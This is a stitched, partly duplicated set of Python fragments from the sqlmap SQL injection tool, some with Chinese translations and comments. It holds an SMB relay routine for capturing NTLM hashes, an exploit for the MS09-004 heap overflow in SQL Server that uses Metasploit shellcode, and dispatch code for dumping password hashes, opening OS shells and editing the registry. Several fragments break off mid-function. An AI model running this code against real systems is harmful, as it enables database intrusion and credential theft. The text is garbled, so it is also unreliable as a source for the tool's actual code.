def osSmb(self):
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise SqlmapUnsupportedDBMSException(errMsg)
if not isTechniqueAvailable(
PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise SqlmapUnsupportedDBMSException(errMsg)
elif Backend.isDbms(DBMS.MYSQL):
debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection"
logger.debug(debugMsg)
printWarn = True
warnMsg = "it is unlikely that this attack will be successful "
if Backend.isDbms(DBMS.MYSQL):
warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service"
elif Backend.isDbms(DBMS.PGSQL):
warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group"
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion(
)
warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when "
warnMsg += "connecting to a SMB service"
else:
printWarn = False
if printWarn:
logger.warn(warnMsg)
self.smb()
def osBof(self):
if not isStackingAvailable() and not conf.direct:
return
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(
("2000", "2005")):
errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise SqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion(
)
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
msg = "this technique is likely to DoS the DBMS process, are you "
msg += "sure that you want to carry with the exploit? [y/N] "
inp = readInput(msg, default="N")
if inp and inp[0].lower() == "y":
dos = True
else:
dos = False
if dos:
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh",
format="raw",
extra="-b 27",
encode=True)
self.bof()
def action():
"""
This function exploit the SQL injection on the affected
URL parameter and extract requested data from the
back-end database management system or operating system
if possible
"""
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
setHandler()
if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system"
if htmlParsed:
errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you"
elif kb.nullConnection:
errMsg += ". You can try to rerun without using optimization "
errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
raise SqlmapUnsupportedDBMSException(errMsg)
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
# Enumeration options
if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner())
if conf.getCurrentUser:
conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb:
conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())
if conf.getHostname:
conf.dumper.hostname(conf.dbmsHandler.getHostname())
if conf.isDba:
conf.dumper.dba(conf.dbmsHandler.isDba())
if conf.getUsers:
conf.dumper.users(conf.dbmsHandler.getUsers())
if conf.getPasswordHashes:
try:
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException, ex:
logger.critical(ex)
except:
def _regInit(self):
if not isStackingAvailable() and not conf.direct:
return
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
errMsg = "后端DBMS底层操作系统不是Windows"
raise SqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
def _regInit(self):
if not isStackingAvailable() and not conf.direct:
return
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
raise SqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
def osSmb(self):
self.checkDbmsOs()
if not Backend.isOs(OS.WINDOWS):
errMsg = "后端DBMS底层操作系统不是Windows：不可能执行SMB中继攻击"
raise SqlmapUnsupportedDBMSException(errMsg)
if not isStackingAvailable() and not conf.direct:
if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
errMsg = "在这个后端DBMS中，只有支持堆叠(多语句)查询才可能执行SMB中继攻击"
raise SqlmapUnsupportedDBMSException(errMsg)
elif Backend.isDbms(DBMS.MYSQL):
debugMsg = "由于不支持堆叠查询，sqlmap将通过推测SQL盲注入执行SMB中继攻击"
logger.debug(debugMsg)
printWarn = True
warnMsg = "这次攻击不太可能成功 "
if Backend.isDbms(DBMS.MYSQL):
warnMsg += "因为默认情况下，MySQL在Windows上运行的本地系统不是真正的用户，它在连接到SMB服务时不会发送NTLM会话哈希session hash"
elif Backend.isDbms(DBMS.PGSQL):
warnMsg += "因为默认情况下PostgreSQL作为postgres用户运行，该用户是系统的真正用户，但不在Administrators组内"
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
warnMsg += "因为通常Microsoft SQL Server %s 作为网络服务运行，而不是真正的用户，它在连接到SMB服务时不发送NTLM会话哈希" % Backend.getVersion(
)
else:
printWarn = False
if printWarn:
logger.warn(warnMsg)
self.smb()
def osBof(self):
if not isStackingAvailable() and not conf.direct:
return
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(
("2000", "2005")):
errMsg = "后端DBMS必须是Microsoft SQL Server 2000或2005才能够利用“sp_replwritetovarbin”存储过程（MS09-004）中基于堆的缓冲区溢出"
raise SqlmapUnsupportedDBMSException(errMsg)
infoMsg = "将利用Microsoft SQL Server %s“sp_replwritetovarbin”存储过程基于堆的缓冲区溢出（MS09-004）"
logger.info(infoMsg)
msg = "这种技术很可能是DoS的DBMS过程，你确定要利用这个漏洞? [y/N] "
if readInput(msg, default='N', boolean=True):
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh",
format="raw",
extra="-b 27",
encode=True)
self.bof()
def action():
"""
This function exploit the SQL injection on the affected
URL parameter and extract requested data from the
back-end database management system or operating system
if possible
"""
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
setHandler()
if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system"
if htmlParsed:
errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you"
elif kb.nullConnection:
errMsg += ". You can try to rerun without using optimization "
errMsg += "switch '%s'" % ("-o" if conf.optimize else
"--null-connection")
raise SqlmapUnsupportedDBMSException(errMsg)
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
# Enumeration options
if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner())
if conf.getCurrentUser:
conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb:
conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())
if conf.getHostname:
conf.dumper.hostname(conf.dbmsHandler.getHostname())
if conf.isDba:
conf.dumper.dba(conf.dbmsHandler.isDba())
if conf.getUsers:
conf.dumper.users(conf.dbmsHandler.getUsers())
if conf.getStatements:
conf.dumper.statements(conf.dbmsHandler.getStatements())
if conf.getPasswordHashes:
try:
conf.dumper.userSettings(
"database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash",
CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getPrivileges:
try:
conf.dumper.userSettings(
"database management system users privileges",
conf.dbmsHandler.getPrivileges(), "privilege",
CONTENT_TYPE.PRIVILEGES)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getRoles:
try:
conf.dumper.userSettings("database management system users roles",
conf.dbmsHandler.getRoles(), "role",
CONTENT_TYPE.ROLES)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getDbs:
try:
conf.dumper.dbs(conf.dbmsHandler.getDbs())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getTables:
try:
conf.dumper.dbTables(conf.dbmsHandler.getTables())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.commonTables:
try:
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getSchema:
try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(),
CONTENT_TYPE.SCHEMA)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getColumns:
try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(),
CONTENT_TYPE.COLUMNS)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getCount:
try:
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.commonColumns:
try:
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.dumpTable:
try:
conf.dbmsHandler.dumpTable()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.dumpAll:
try:
conf.dbmsHandler.dumpAll()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.search:
try:
conf.dbmsHandler.search()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.sqlQuery:
for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip()
if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
if conf.sqlFile:
conf.dbmsHandler.sqlFile()
# User-defined function options
if conf.udfInject:
conf.dbmsHandler.udfInjectCustom()
# File system options
if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest,
conf.fileWriteType)
if conf.commonFiles:
try:
conf.dumper.rFile(fileExists(paths.COMMON_FILES))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
# Operating system options
if conf.osCmd:
conf.dbmsHandler.osCmd()
if conf.osShell:
conf.dbmsHandler.osShell()
if conf.osPwn:
conf.dbmsHandler.osPwn()
if conf.osSmb:
conf.dbmsHandler.osSmb()
if conf.osBof:
conf.dbmsHandler.osBof()
# Windows registry options
if conf.regRead:
conf.dumper.registerValue(conf.dbmsHandler.regRead())
if conf.regAdd:
conf.dbmsHandler.regAdd()
if conf.regDel:
conf.dbmsHandler.regDel()
# Miscellaneous options
if conf.cleanup:
conf.dbmsHandler.cleanup()
if conf.direct:
conf.dbmsConnector.close()
def action():
"""
This function exploit the SQL injection on the affected
URL parameter and extract requested data from the
back-end database management system or operating system
if possible。如果可能的话，这个函数利用SQL注入的影响请求URL参数和提取数据从后端数据库管理系统或操作系统,
"""
#action()是很总要的一个函数，该函数主要根据攻城师的命令行参数选型，从而利用存在注入漏洞的url，以进一步获取攻城师要获取的数据。比如：当前的数据库用户、枚举数据库的所有数据表等等
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection 首先我们必须确定后端数据库管理系统能够继续注入
setHandler() # hander.py 检测目标web应用程序的后端数据库管理系统
if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system" #sqlmap无法指纹后端数据库管理系统
if htmlParsed:
errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed #但从HTML错误页面可以定后端数据库管理系统
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you" #没有指定后端手动DBMS,sqlmap将指纹DBMS吗
elif kb.nullConnection:
errMsg += ". You can try to rerun without using optimization " #你可以尝试重新运行不使用优化开关
errMsg += "switch '%s'" % ("-o" if conf.optimize else
"--null-connection")
else:
errMsg += ". Support for this DBMS will be implemented at "
errMsg += "some point" #支持该DBMS将在某种程度上实现
raise SqlmapUnsupportedDBMSException(errMsg)
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
# Enumeration options 枚举选项
if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner())
if conf.getCurrentUser:
conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb:
conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())
if conf.getHostname:
conf.dumper.hostname(conf.dbmsHandler.getHostname())
if conf.isDba:
conf.dumper.dba(conf.dbmsHandler.isDba())
if conf.getUsers:
conf.dumper.users(conf.dbmsHandler.getUsers())
if conf.getPasswordHashes:
try:
conf.dumper.userSettings(
"database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash",
CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException, ex:
logger.critical(ex)
except:
